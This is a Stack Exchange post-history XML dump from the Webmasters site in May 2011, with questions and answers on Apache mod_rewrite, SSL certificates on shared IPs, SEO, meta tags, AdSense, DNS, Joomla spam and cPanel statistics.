  <row Id="32535" PostHistoryTypeId="24" PostId="5397" RevisionGUID="df3a9f19-9ae5-4c06-bc0a-4d5b097cb3c2" CreationDate="2011-05-17T22:33:40.387" Comment="Proposed by 4786 approved by 1064 edit id of 301" />
  <row Id="32536" PostHistoryTypeId="2" PostId="13981" RevisionGUID="865216d5-324e-4a98-9627-629b1af92cab" CreationDate="2011-05-17T23:49:36.363" UserId="6028" Text="Nate,&#xD;&#xA;&#xD;&#xA;I have a private .co (brandboom.co) and I had registered the domain at http://internetbs.net recently. Their website looks extremely crappy like it was created 10 years ago, but they've been superb for my domain registrations since my decision to leave GoDaddy. The user interface also needs work, but everything you need to connect the domain name to a host IP is all there. Also, there still might be a coupon floating around so that the private registration is free. I fully recommend them and if you need further evidence, do a search on http://www.webhostingtalk.com/ -- Nothing but good reviews." />
  <row Id="32537" PostHistoryTypeId="2" PostId="13982" RevisionGUID="4d8c67d0-0cf4-403d-86d6-ba1f83c04f42" CreationDate="2011-05-17T23:55:14.590" UserId="-1" Text="" />
  <row Id="32538" PostHistoryTypeId="2" PostId="13983" RevisionGUID="96787bc6-87c7-49a4-a6c5-66ae8ea15c60" CreationDate="2011-05-17T23:55:14.590" UserId="-1" Text="" />
  <row Id="32539" PostHistoryTypeId="25" PostId="13978" RevisionGUID="0bc18c3f-a9c2-477b-994e-ff7b3a632377" CreationDate="2011-05-18T00:12:14.543" Comment="http://twitter.com/#!/StackWebmasters/status/70642815700434944" />
  <row Id="32540" PostHistoryTypeId="2" PostId="13984" RevisionGUID="b89f3852-a105-4f93-a981-2d1d94cd81df" CreationDate="2011-05-18T00:26:55.910" UserId="1010" Text="Because you're using Apache, you want [mod_rewrite](http://httpd.apache.org/docs/current/mod/mod_rewrite.html), which is usually available by default.  mod_rewrite lets you *rewrite* requests as they come in.  It can make sub-requests, change the current request, or even redirect the user somewhere else.  It's an exceptionally powerful tool with a syntax that can be kind of obtuse at times.&#xD;&#xA;&#xD;&#xA;You'll want to [set up `RewriteRule`s](http://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewriterule).  `RewriteRule`s use the PCRE regular expression library, so if you've used regexes in Perl or the `preg` family of functions in PHP, you should be pretty familiar with the syntax.  &#xD;&#xA;&#xD;&#xA;There are two common patterns when making pretty URLs with mod_rewrite and PHP.  In the first, you'll pick a &quot;mount point&quot; under which all the pretty URLs will live, and instead invoke a PHP script that is given the rest of the path after the mount point.  For example, a call to `/info/toyota/camry/saftey` could be rewritten to `/info.php/toyota/camry/saftey`.  &#xD;&#xA;&#xD;&#xA;The PHP script would then access `$_SERVER['PATH_INFO']`, which would contain `/toyota/camry/saftey`, and process that value as it needs to.  Yes, this will totally work.  Try it out yourself with a [phpinfo](http://us2.php.net/manual/en/function.phpinfo.php) script.  You'll find the bits after the file extension inside `PATH_INFO`.&#xD;&#xA;&#xD;&#xA;Here's an untested but probably working example:&#xD;&#xA;&#xD;&#xA;    # ask mod_rewrite to turn itself on&#xD;&#xA;        RewriteEngine On&#xD;&#xA;    # If the request is not for an actual file, then...&#xD;&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    # ... capture the part of the path after /info/ and replace it &#xD;&#xA;    # with a call to the PHP script.  In the regex, .+ means &quot;Any &#xD;&#xA;    # character, one or more times&quot;&#xD;&#xA;        RewriteRule ^/info/(.+)$ /info.php/$1&#xD;&#xA;&#xD;&#xA;The second pattern is to set up a rewrite rule to actually extract parts of the path and turn it into a plain old regular query string.  This would be best if you have an existing script and don't want to make changes to it.  It can also be more complex, as you'd need to write one rule per set of candidate URLs.&#xD;&#xA;&#xD;&#xA;Here's another untested but probably working example.&#xD;&#xA;&#xD;&#xA;    # /info/foo =&gt; info.php?brand=foo&#xD;&#xA;    # [^/]+ means &quot;Any character that is not a /, one or more times&#xD;&#xA;        RewriteRule ^/info/([^/]+)$ /info.php?brand=$1&#xD;&#xA;    # /info/foo/bar =&gt; info.php?brand=foo&amp;model=bar&#xD;&#xA;        RewriteRule ^/info/([^/]+)/([^/]+)$ /info.php?brand=$1&amp;model=$2&#xD;&#xA;    # /info/foo/bar/baz =&gt; info.php?brand=foo&amp;model=bar&amp;page=baz&#xD;&#xA;        RewriteRule ^/info/([^/]+)/([^/]+)/([^/]+)$ /info.php?brand=$1&amp;model=$2&amp;page=$3&#xD;&#xA;&#xD;&#xA;This is just a tip of the mod_rewrite iceburg.  There are [lots and lots and lots](http://www.google.com/search?q=mod_rewrite+php+pretty+urls) of tutorials and guides out there that can help you along." />
  <row Id="32541" PostHistoryTypeId="2" PostId="13985" RevisionGUID="13d319d2-de6d-41e9-8615-e94c9f04e7aa" CreationDate="2011-05-18T00:38:14.217" UserId="9634" Text="Presumably the answer has to do with on-site optimization in either case, but I was wondering if anyone had anecdotal evidence to suggest Q&amp;A sites (whether Stackoverflow, Quora or equivalents) do better in search results than traditional forum plugins, e.g. VBulletin" />
  <row Id="32542" PostHistoryTypeId="1" PostId="13985" RevisionGUID="13d319d2-de6d-41e9-8615-e94c9f04e7aa" CreationDate="2011-05-18T00:38:14.217" UserId="9634" Text="Do Q&amp;A sites tend to do better for SEO than traditional forums?" />
  <row Id="32543" PostHistoryTypeId="3" PostId="13985" RevisionGUID="13d319d2-de6d-41e9-8615-e94c9f04e7aa" CreationDate="2011-05-18T00:38:14.217" UserId="9634" Text="&lt;seo&gt;&lt;forum&gt;" />
  <row Id="32544" PostHistoryTypeId="2" PostId="13986" RevisionGUID="fb5de587-3fee-4c57-9089-e6af3e958301" CreationDate="2011-05-18T00:49:35.183" UserId="1253" Text="No. &#xD;&#xA;&#xD;&#xA;1) Search engines rank pages, not sites. So the type of site is irrelevant.&#xD;&#xA;&#xD;&#xA;2) The format doesn't matter as it's the content that determines what ranks well. Any format can have proper structure, good titles, strong backlinks, etc. The same criteria will apply equally and one does not have any inherent advantage over another. " />
  <row Id="32546" PostHistoryTypeId="5" PostId="13622" RevisionGUID="2bc4f752-5dd2-42d0-96dc-85c9bc21ed2e" CreationDate="2011-05-18T00:59:03.850" UserId="4121" Comment="Updated the post after gathering more info." Text="Update : Tested with IIS6 and IE9 the same problem persisted. using paulmorriss's advice the Browser mode and Document for the page were different, so this problem had nothing to do with IIS6 or 7 but with using IE9 ( Havent tried IE 7, 8 yet).&#xD;&#xA;&#xD;&#xA;I am developing a site on my machine, and to allow others to view the progress it is being hosted under IIS7 on my  local machine. Sames pages look different with IE9 when using localhost,127.0.0.1 or the machine ip than when viewed using the machine name &quot;xpc&quot;&#xD;&#xA;&#xD;&#xA;I saved the same page and folloing is the section when viewed with localhost,127.0.0.1 or my machine IP :&#xD;&#xA;&#xD;&#xA;    &lt;META name=&quot;Author&quot;&gt;&#xD;&#xA;    &lt;META name=&quot;Copyright&quot;&gt;&#xD;&#xA;    &lt;META name=&quot;Description&quot;&gt;&#xD;&#xA;&#xD;&#xA;here is the same thing when viewed using http://xpc instead :&#xD;&#xA;&#xD;&#xA;    &lt;META name=Author&gt;&#xD;&#xA;    &lt;META name=Copyright&gt;&#xD;&#xA;    &lt;META name=Description&gt;&#xD;&#xA;&#xD;&#xA;There is no hardocing of domain name in any way anywhere (as far I have been able to verify), so why is the same page being served in two different ways? Everything works fine when I launch the site from VS2010 development server.&#xD;&#xA;&#xD;&#xA;Also pages looked identical when viewed with FireFox. So my guess is IIS7 is serving differently for IE(9), but why?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="32547" PostHistoryTypeId="6" PostId="13622" RevisionGUID="2bc4f752-5dd2-42d0-96dc-85c9bc21ed2e" CreationDate="2011-05-18T00:59:03.850" UserId="4121" Comment="Updated the post after gathering more info." Text="&lt;web-development&gt;&lt;browsers&gt;&lt;internet-explorer-9&gt;" />
  <row Id="32548" PostHistoryTypeId="17" PostId="13989" RevisionGUID="9b454023-6359-4a9a-bcd3-faa194004627" CreationDate="2011-05-18T00:59:30.877" UserId="-1" Comment="from http://stackoverflow.com/questions/6038277/is-unique-ip-address-a-must-for-ssl/6038328#6038328" Text="" />
  <row Id="32549" PostHistoryTypeId="17" PostId="13990" RevisionGUID="2be415b5-4ba7-4168-bc81-e995874488a2" CreationDate="2011-05-18T00:59:30.877" UserId="-1" Comment="from http://stackoverflow.com/questions/6038277/is-unique-ip-address-a-must-for-ssl/6038329#6038329" Text="" />
  <row Id="32550" PostHistoryTypeId="17" PostId="13991" RevisionGUID="756867c5-1cb0-470c-9aa7-e8eac7e71b09" CreationDate="2011-05-18T00:59:30.877" UserId="-1" Comment="from http://stackoverflow.com/questions/6038277/is-unique-ip-address-a-must-for-ssl/6038337#6038337" Text="" />
  <row Id="32551" PostHistoryTypeId="17" PostId="13992" RevisionGUID="1bf879d0-75b7-46ae-b99a-98f5b214dc29" CreationDate="2011-05-18T00:59:30.877" UserId="-1" Comment="from http://stackoverflow.com/questions/6038277/is-unique-ip-address-a-must-for-ssl/6038410#6038410" Text="" />
  <row Id="32552" PostHistoryTypeId="2" PostId="13989" RevisionGUID="33adfc18-cf5c-4ff6-86ed-31394beaa809" CreationDate="2011-05-17T23:30:05.003" UserDisplayName="Rob Raisch" Text="There are several kinds of server SSL certificates including those that work for a single server, those that can be used for an entire domain of servers (so-called 'wildcard' certs) and those that work across multiple domains.  &#xD;&#xA;&#xD;&#xA;Be very careful which cert you buy as it will limit how you can scale.&#xD;&#xA;&#xD;&#xA;FYI: Certificate authorities (the companies that issue certs) do not like to issue domain-wide or  multi-domain certs as they view them as a loss of revenue. (Why issue 1 cert for an entire domain at $x when you can issue 5 certs for $5x?) but if you press themy, you can usually get them to issue you a domain-wide cert." />
  <row Id="32553" PostHistoryTypeId="2" PostId="13990" RevisionGUID="3ed4b6df-86f6-4783-9d8b-f68ca911eaca" CreationDate="2011-05-17T23:30:13.550" UserDisplayName="Bruno Rohée" Text="[RFC 4366][1] permits virtual hosting for SSL and is pretty old and well supported nowadays&#xD;&#xA;&#xD;&#xA;See http://wiki.apache.org/httpd/NameBasedSSLVHostsWithSNI for a pretty in-depth explanation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.ietf.org/html/rfc4366" />
  <row Id="32554" PostHistoryTypeId="2" PostId="13991" RevisionGUID="65cfdebf-0c8a-4704-8887-989145aaefbb" CreationDate="2011-05-17T23:32:40.967" UserDisplayName="Frazell Thomas" Text="It depends on the server software. IIS 7 [supports hosting multiple SSL enables][1] sites on the same IP address.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sslshopper.com/article-ssl-host-headers-in-iis-7.html" />
  <row Id="32555" PostHistoryTypeId="2" PostId="13992" RevisionGUID="b40ed48b-b71b-4c73-925b-ac7805c44912" CreationDate="2011-05-17T23:41:43.347" UserDisplayName="Kev" Text="Yes, you need a dedicated IP address for your SSL certificate. The following article explains exactly why:&#xD;&#xA;&#xD;&#xA;&gt; [SSL certificates on Sites with Host Headers][1]&#xD;&#xA;&#xD;&#xA;The key paragraph is:&#xD;&#xA;&#xD;&#xA;&gt; It's a chicken and egg problem: The&#xD;&#xA;&gt; host name is encrypted in the SSL blob&#xD;&#xA;&gt; that the client sends. Because the&#xD;&#xA;&gt; host name is part of the binding IIS&#xD;&#xA;&gt; needs the host name to lookup the&#xD;&#xA;&gt; right certificate. Without the host&#xD;&#xA;&gt; name IIS can't lookup the right site&#xD;&#xA;&gt; because the binding is incomplete.&#xD;&#xA;&gt; Without the certificate IIS can't&#xD;&#xA;&gt; decrypt the SSL blob that contains the&#xD;&#xA;&gt; host name. Game over - we are turning&#xD;&#xA;&gt; in circles.&#xD;&#xA;&#xD;&#xA;There is a way to use SSL certificates with host headers on a shared IP address, but you still need to get that first IP address:&#xD;&#xA;&#xD;&#xA;&gt; But there is a way if you need two&#xD;&#xA;&gt; different sites on the same IP:Port.&#xD;&#xA;&gt; You can accomplish this by getting a&#xD;&#xA;&gt; certificate that contains both common&#xD;&#xA;&gt; names, i.e. sitev1.mysite.com and&#xD;&#xA;&gt; sitev2.mysitem.com. Cert Authorities&#xD;&#xA;&gt; usually allow more than one so called&#xD;&#xA;&gt; &quot;common names&quot; in a certificate. By&#xD;&#xA;&gt; binding the certificate to one of the&#xD;&#xA;&gt; two sites you won't not get&#xD;&#xA;&gt; certificate errors anymore. The client&#xD;&#xA;&gt; is happy if one of the names in the&#xD;&#xA;&gt; certificate matches.&#xD;&#xA;&#xD;&#xA;When your hoster says *&quot;then it will be applicable for the addon domains too.&quot;*, what they mean is either you can you use:&#xD;&#xA;&#xD;&#xA;- a wildcard SSL e.g. *.example.com then more than one site that is a host in example.com can share the IP address, for example www.example.com, webmail.example.com and so on.&#xD;&#xA;&#xD;&#xA;- a Subject Alternative Names SSL that permits more than one domain to be secured using the same SSL, for example: http://www.globalsign.co.uk/ssl/buy-ssl-certificates/unified-communications-ssl/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogs.iis.net/thomad/archive/2008/01/25/ssl-certificates-on-sites-with-host-headers.aspx" />
  <row Id="32556" PostHistoryTypeId="2" PostId="13988" RevisionGUID="918709e1-1242-41ff-bfd7-4a603e2f9d81" CreationDate="2011-05-17T23:22:41.870" UserId="23" Text="The shared hosting company told me that if I buy an IP address then it will be applicable for the addon domains too. What does it mean? Then the SSL certificate won't work since there will be more than 2 domains in one IP (if I add an addon domain)? If the SSL certificate works with one IP where is hosted two different domains then why it does not work on a shared host?" />
  <row Id="32557" PostHistoryTypeId="1" PostId="13988" RevisionGUID="918709e1-1242-41ff-bfd7-4a603e2f9d81" CreationDate="2011-05-17T23:22:41.870" UserId="23" Text="Is unique IP address a must for SSL?" />
  <row Id="32558" PostHistoryTypeId="3" PostId="13988" RevisionGUID="918709e1-1242-41ff-bfd7-4a603e2f9d81" CreationDate="2011-05-17T23:22:41.870" UserId="23" Text="&lt;ssl-certificate&gt;" />
  <row Id="32559" PostHistoryTypeId="17" PostId="13988" RevisionGUID="0ff867bb-9564-4b5a-8f37-cac199ff75cf" CreationDate="2011-05-18T00:59:30.877" UserId="-1" Comment="from http://stackoverflow.com/questions/6038277/is-unique-ip-address-a-must-for-ssl" Text="" />
  <row Id="32560" PostHistoryTypeId="5" PostId="13622" RevisionGUID="3403a325-c539-4659-997b-6da5404b8be5" CreationDate="2011-05-18T01:07:03.567" UserId="4121" Comment="added 248 characters in body; edited tags; edited title; edited title" Text="Update : Tested with IIS6 and IE9 the same problem persisted. using paulmorriss's advice the Browser mode and Document for the page were different, so this problem had nothing to do with IIS6 or 7 but with using IE9 ( Havent tried IE 7, 8 yet).&#xD;&#xA;&#xD;&#xA;I am developing a site on my machine, and to allow others to view the progress it is being hosted under IIS7 on my  local machine. Sames pages look different with IE9 when using localhost,127.0.0.1 or the machine ip than when viewed using the machine name &quot;xpc&quot;&#xD;&#xA;&#xD;&#xA;I saved the same page and folloing is the section when viewed with localhost,127.0.0.1 or my machine IP :&#xD;&#xA;&#xD;&#xA;    &lt;META name=&quot;Author&quot;&gt;&#xD;&#xA;    &lt;META name=&quot;Copyright&quot;&gt;&#xD;&#xA;    &lt;META name=&quot;Description&quot;&gt;&#xD;&#xA;&#xD;&#xA;here is the same thing when viewed using http://xpc instead :&#xD;&#xA;&#xD;&#xA;    &lt;META name=Author&gt;&#xD;&#xA;    &lt;META name=Copyright&gt;&#xD;&#xA;    &lt;META name=Description&gt;&#xD;&#xA;&#xD;&#xA;There is no hardocing of domain name in any way anywhere (as far I have been able to verify), so why is the same page being served in two different ways? Everything works fine when I launch the site from VS2010 development server.&#xD;&#xA;&#xD;&#xA;Also pages looked identical when viewed with FireFox. So my guess is IIS7 is serving differently for IE(9), but why?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="32561" PostHistoryTypeId="4" PostId="13622" RevisionGUID="3403a325-c539-4659-997b-6da5404b8be5" CreationDate="2011-05-18T01:07:03.567" UserId="4121" Comment="added 248 characters in body; edited tags; edited title; edited title" Text="IE9 changes Browser Mode based on using domain name or ip address for the url" />
  <row Id="32562" PostHistoryTypeId="6" PostId="13622" RevisionGUID="3403a325-c539-4659-997b-6da5404b8be5" CreationDate="2011-05-18T01:07:03.567" UserId="4121" Comment="added 248 characters in body; edited tags; edited title; edited title" Text="&lt;web-development&gt;&lt;browsers&gt;&lt;internet-explorer-9&gt;" />
  <row Id="32563" PostHistoryTypeId="2" PostId="13993" RevisionGUID="d04cc313-1b9c-412e-b88c-f07ad9b1412a" CreationDate="2011-05-18T01:09:36.163" UserId="7111" Text="I don't know if this is related, and I haven't been able to find any information on it anywhere. I just accepted a $100 Adwords credit offer from Google. Shortly after I did that, roughly 80% of the ads I have placed on my site are ads for Google Adwords. Completely irrelevant to my site and its content.&#xD;&#xA;&#xD;&#xA;Is it possible the two are related? My sites have been displaying relevant content for years now, why the change? Any feedback on this would be appreciated... Thanks" />
  <row Id="32564" PostHistoryTypeId="1" PostId="13993" RevisionGUID="d04cc313-1b9c-412e-b88c-f07ad9b1412a" CreationDate="2011-05-18T01:09:36.163" UserId="7111" Text="I just accepted a &quot;come back to us&quot; type offer $100 Adwords Credit - Now 80% of my Adsense Ads are for Google Adwords" />
  <row Id="32565" PostHistoryTypeId="3" PostId="13993" RevisionGUID="d04cc313-1b9c-412e-b88c-f07ad9b1412a" CreationDate="2011-05-18T01:09:36.163" UserId="7111" Text="&lt;google&gt;&lt;google-adsense&gt;&lt;ads&gt;&lt;adwords&gt;" />
  <row Id="32566" PostHistoryTypeId="2" PostId="13994" RevisionGUID="6ff2a9c5-3729-4a5d-8c65-925b09175885" CreationDate="2011-05-18T02:24:52.560" UserId="4306" Text="It sounds like the two are related. Google have likely dropped a cookie on your computer that recognises that you've visited the AdWords site. Clear your cookies and see if the issue continues.&#xD;&#xA;&#xD;&#xA;The good news is that this behaviour is probably just targetting you, and not your site's general audience." />
  <row Id="32567" PostHistoryTypeId="5" PostId="13968" RevisionGUID="9d05b89d-d852-471c-a1dd-04d4097f3a4b" CreationDate="2011-05-18T02:45:07.283" UserId="6901" Comment="added 120 characters in body" Text="An algorithm developed by Larry Page and used by Google to determine the placement of webpages in Google search results." />
  <row Id="32568" PostHistoryTypeId="24" PostId="13968" RevisionGUID="9d05b89d-d852-471c-a1dd-04d4097f3a4b" CreationDate="2011-05-18T02:45:07.283" Comment="Proposed by 6901 approved by 1064 edit id of 294" />
  <row Id="32569" PostHistoryTypeId="5" PostId="13967" RevisionGUID="70ca870d-bd03-49a9-bb7b-f49015355e7a" CreationDate="2011-05-18T02:45:15.783" UserId="6901" Comment="added 120 characters in body" Text="An algorithm developed by Larry Page and used by Google to determine the placement of webpages in Google search results." />
  <row Id="32570" PostHistoryTypeId="24" PostId="13967" RevisionGUID="70ca870d-bd03-49a9-bb7b-f49015355e7a" CreationDate="2011-05-18T02:45:15.783" Comment="Proposed by 6901 approved by 1064 edit id of 293" />
  <row Id="32571" PostHistoryTypeId="5" PostId="13972" RevisionGUID="90a0f0f9-622f-4230-b74c-ec4b43c37f15" CreationDate="2011-05-18T02:45:45.737" UserId="6901" Comment="added 235 characters in body" Text="A reference to another webpage (or document, or an element in a webpage or document) that the user can follow (click on), or that is automatically followed (by a computer program, such as search engine crawler) to access that document." />
  <row Id="32572" PostHistoryTypeId="24" PostId="13972" RevisionGUID="90a0f0f9-622f-4230-b74c-ec4b43c37f15" CreationDate="2011-05-18T02:45:45.737" Comment="Proposed by 6901 approved by 1064 edit id of 297" />
  <row Id="32573" PostHistoryTypeId="5" PostId="13973" RevisionGUID="ee83f8d1-ac65-4e1c-a133-656dade42e19" CreationDate="2011-05-18T02:45:48.763" UserId="6901" Comment="added 91 characters in body" Text="A reference to another webpage that the user can follow (click on) to access that document." />
  <row Id="32574" PostHistoryTypeId="24" PostId="13973" RevisionGUID="ee83f8d1-ac65-4e1c-a133-656dade42e19" CreationDate="2011-05-18T02:45:48.763" Comment="Proposed by 6901 approved by 1064 edit id of 298" />
  <row Id="32575" PostHistoryTypeId="25" PostId="13988" RevisionGUID="4b9f208e-1aa1-4260-a4dc-3dd93c6af4ec" CreationDate="2011-05-18T03:12:15.437" Comment="http://twitter.com/#!/StackWebmasters/status/70688118210183168" />
  <row Id="32576" PostHistoryTypeId="5" PostId="13958" RevisionGUID="723f57df-c4fa-4ac5-abcb-adda94f68700" CreationDate="2011-05-18T03:29:05.213" UserId="330" Comment="Updated to add screenshot and clarifications." Text="You have to get the DNS servers from Network Solutions and set them in the GoDaddy control panel (under Domains, click on the domain in question, then click set nameservers).![GoDaddy Domain Manager][1]&#xD;&#xA;&#xD;&#xA;It should be something like:&#xD;&#xA;&#xD;&#xA;    dns1.networksolutions.com&#xD;&#xA;    dns2.networksolutions.com&#xD;&#xA;&#xD;&#xA;(In my screenshot, I have ns1.dreamhost.com ns2. ns3.)&#xD;&#xA;&#xD;&#xA;You can put more that 3 nameservers in the GoDaddy control panel, but you should enter at least two.&#xD;&#xA;&#xD;&#xA;UPDATE: Upload all your files to your new host. Once DNS propagates, your site will be served from the new web host (Network Solutions).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/9Z7nT.png" />
  <row Id="32577" PostHistoryTypeId="17" PostId="13996" RevisionGUID="ec7f3bd5-24b8-48ba-b6f1-82b7f0228d60" CreationDate="2011-05-18T04:03:28.370" UserId="-1" Comment="from http://stackoverflow.com/questions/6037688/why-dont-large-popular-sites-such-as-so-use-keyword-and-description-meta-headers/6037747#6037747" Text="" />
  <row Id="32578" PostHistoryTypeId="2" PostId="13996" RevisionGUID="cc5a40b5-422e-41dc-a8d4-9806afb1ca98" CreationDate="2011-05-17T22:08:43.997" UserDisplayName="stevecomrie" Text="Meta Keywords are no longer used for any purpose by any of the large and most of the smaller search engines.&#xD;&#xA;&#xD;&#xA;Meta Descriptions are only good to display a snippet of text that summarizes the content on the page when displaying it in the search results, it has very little if any SEO standing.&#xD;&#xA;&#xD;&#xA;Most of the sites you listed (stackoverflow, wikipedia, etc), the content that appears near the top of the page serves as the best summary, therefore it's not necessary to include (and maintain) an additional Meta Description tag for each and every page." />
  <row Id="32579" PostHistoryTypeId="2" PostId="13995" RevisionGUID="cf84ee60-e558-4a52-8bb2-9510c4a67187" CreationDate="2011-05-17T22:01:54.513" UserDisplayName="mmtemporary" Text="Why don't Stack Overflow, Wikipedia or MSDN etc. include keyword and description meta tags in their page headers?&#xD;&#xA;&#xD;&#xA;For example Google indexes the first paragraph as a brief description. Is this a technical point in web design and SEO?" />
  <row Id="32580" PostHistoryTypeId="1" PostId="13995" RevisionGUID="cf84ee60-e558-4a52-8bb2-9510c4a67187" CreationDate="2011-05-17T22:01:54.513" UserDisplayName="mmtemporary" Text="Why don't large popular sites such as SO use keyword and description meta headers?" />
  <row Id="32581" PostHistoryTypeId="3" PostId="13995" RevisionGUID="cf84ee60-e558-4a52-8bb2-9510c4a67187" CreationDate="2011-05-17T22:01:54.513" UserDisplayName="mmtemporary" Text="&lt;html&gt;" />
  <row Id="32582" PostHistoryTypeId="17" PostId="13995" RevisionGUID="150a451a-aa19-42b2-b22c-5058be6272a3" CreationDate="2011-05-18T04:03:28.370" UserId="-1" Comment="from http://stackoverflow.com/questions/6037688/why-dont-large-popular-sites-such-as-so-use-keyword-and-description-meta-headers" Text="" />
  <row Id="32583" PostHistoryTypeId="2" PostId="13997" RevisionGUID="00c9b5bb-b236-410c-b821-71e5cb0c95a8" CreationDate="2011-05-18T04:07:31.467" UserId="7528" Text="OK - my manager hit me with this one today, and I need a reality check. She asked me to color-correct an image because, &quot;images get darker in Photoshop when you make them smaller.&quot;&#xD;&#xA;&#xD;&#xA;I've never seen anything that would lead me to that conclusion - and I've been with Photoshop since version 3 (still having difficulty fully trusting multiple undo's, by the way). &#xD;&#xA;&#xD;&#xA;Is one of us crazy? And if it's me, in what way do you best compensate for the change? Levels?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="32584" PostHistoryTypeId="1" PostId="13997" RevisionGUID="00c9b5bb-b236-410c-b821-71e5cb0c95a8" CreationDate="2011-05-18T04:07:31.467" UserId="7528" Text="How do I make images smaller without making them darker?" />
  <row Id="32585" PostHistoryTypeId="3" PostId="13997" RevisionGUID="00c9b5bb-b236-410c-b821-71e5cb0c95a8" CreationDate="2011-05-18T04:07:31.467" UserId="7528" Text="&lt;photoshop&gt;" />
  <row Id="32586" PostHistoryTypeId="2" PostId="13998" RevisionGUID="ee1c0516-e883-4847-b798-7d338e35b6da" CreationDate="2011-05-18T04:19:00.927" UserId="6033" Text="I've never noticed a color change from shrinking. Sometimes fonts will become pixelated, but not darker. I would compare the two side by side and adjust Gamma if necessary.. " />
  <row Id="32587" PostHistoryTypeId="2" PostId="13999" RevisionGUID="b81353ad-6779-46f4-a046-d1d45d70eadc" CreationDate="2011-05-18T04:37:02.680" UserId="6033" Text="Imagining an automated ranking algorithm, peer review likely makes the task of determining answer quality easier. If the spider is smart enough to parse &quot;up&quot; and &quot;down&quot; votes, then it can tell the main ranking algorithm how many people found a particular article helpful on stackexchange or a forum. That's much less processor intensive than checking backlinks and dup content across the entire web on the content. The human element of validation makes everything for a search engine faster.&#xD;&#xA;&#xD;&#xA;Since stackexchange format is popular, it's more likely that a spider will know how to parse it. However, forum software can have the same features, and often does. &#xD;&#xA;&#xD;&#xA;Back to what John Conde mentioned, content is key. I'm speculating that search engines add custom rules to their spiders so they can parse popular formats more intelligently." />
  <row Id="32588" PostHistoryTypeId="2" PostId="14000" RevisionGUID="50f4c223-8b1f-4964-b8ac-b0db8dfb9a37" CreationDate="2011-05-18T04:51:37.773" UserId="7607" Text="we have a joomla based website. the admins did not pay attention, and site has been spammed with thousands of spam commments.&#xD;&#xA;&#xD;&#xA;is there a way to automatically hide/remove those which have &quot;links&quot; in them?" />
  <row Id="32589" PostHistoryTypeId="1" PostId="14000" RevisionGUID="50f4c223-8b1f-4964-b8ac-b0db8dfb9a37" CreationDate="2011-05-18T04:51:37.773" UserId="7607" Text="joomla - automatically delete/hide comments with links" />
  <row Id="32590" PostHistoryTypeId="3" PostId="14000" RevisionGUID="50f4c223-8b1f-4964-b8ac-b0db8dfb9a37" CreationDate="2011-05-18T04:51:37.773" UserId="7607" Text="&lt;joomla&gt;&lt;spam&gt;&lt;comments&gt;" />
  <row Id="32591" PostHistoryTypeId="25" PostId="13997" RevisionGUID="b2555d66-d03b-468a-833d-01455ddfe842" CreationDate="2011-05-18T06:12:16.880" Comment="http://twitter.com/#!/StackWebmasters/status/70733422129192960" />
  <row Id="32592" PostHistoryTypeId="2" PostId="14001" RevisionGUID="20b3eb54-b104-4c7f-8628-08ea19e2a37f" CreationDate="2011-05-18T07:40:06.587" UserId="7198" Text="There's no official cPanel API to access detailed stats data. There are, however a few scripted workarounds:&#xD;&#xA;&#xD;&#xA;1. There's a reference to &lt;a href=&quot;http://www.phpdreams.com/blog-posts/easy-cpanel-stats.html&quot;&gt;scripting cPanel access to scrape AWStats output with PHP here.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;2. There are also GPL-licenced projects to access Apache/AWStats log data with PHP &lt;a href=&quot;http://www.phpkode.com/projects/item/php-awstats-access_log-exporter/&quot;&gt;here (via log exporter)&lt;/a&gt; and &lt;a href=&quot;http://www.phpkode.com/projects/item/awstats-access/&quot;&gt;here (via access panel).&lt;/a&gt; The log exporter looks like it might be the more useful of the two in your case.&#xD;&#xA;&#xD;&#xA;3. There's some PHP code to display Webalizer stats without logging in to cPanel &lt;a href=&quot;http://www.jek2k.com/wp/2009/02/20/php-to-retrieve-cpanel-webalizer-stats/&quot;&gt;here.&lt;/a&gt; (I've tried this on one of my own hosting accounts and it didn't work for me, but include it here in case it works for you; you'd have to scrape data from the Webalizer html table, which is less than ideal.)&#xD;&#xA;&#xD;&#xA;These solutions all feel a little hacked together, though. If you're building a custom control panel to display visitor stats, I'd suggest using Google Analytics with the official &lt;a href=&quot;http://analytics.blogspot.com/2009/04/attention-developers-google-analytics.html&quot;&gt;Analytics API,&lt;/a&gt; which provides read-only access to traffic data." />
  <row Id="32593" PostHistoryTypeId="5" PostId="14001" RevisionGUID="570785e2-5834-4900-b432-3ce6836deab1" CreationDate="2011-05-18T07:45:18.253" UserId="7198" Comment="Added htaccess webalizer option" Text="There's no official cPanel API to access detailed stats data. There are, however a few scripted workarounds:&#xD;&#xA;&#xD;&#xA;1. There's a reference to &lt;a href=&quot;http://www.phpdreams.com/blog-posts/easy-cpanel-stats.html&quot;&gt;scripting cPanel access to scrape AWStats output with PHP here.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;2. There are also GPL-licenced projects to access Apache/AWStats log data with PHP &lt;a href=&quot;http://www.phpkode.com/projects/item/php-awstats-access_log-exporter/&quot;&gt;here (via log exporter)&lt;/a&gt; and &lt;a href=&quot;http://www.phpkode.com/projects/item/awstats-access/&quot;&gt;here (via access panel).&lt;/a&gt; The log exporter looks like it might be the more useful of the two in your case.&#xD;&#xA;&#xD;&#xA;3. There's some PHP code to display Webalizer stats without logging in to cPanel &lt;a href=&quot;http://www.jek2k.com/wp/2009/02/20/php-to-retrieve-cpanel-webalizer-stats/&quot;&gt;here&lt;/a&gt; and a method to make Webalizer stats public with htaccess &lt;a href=&quot;http://anhblog.net/internet-marketing/making-your-cpanel-webalizer-statistics-available-without-cpanel-login/&quot;&gt;here.&lt;/a&gt; (You'd then have to scrape data from the Webalizer html table, which is less than ideal.)&#xD;&#xA;&#xD;&#xA;These solutions all feel a little hacked together, though. If you're building a custom control panel to display visitor stats, I'd suggest using Google Analytics with the official &lt;a href=&quot;http://analytics.blogspot.com/2009/04/attention-developers-google-analytics.html&quot;&gt;Analytics API,&lt;/a&gt; which provides read-only access to traffic data." />
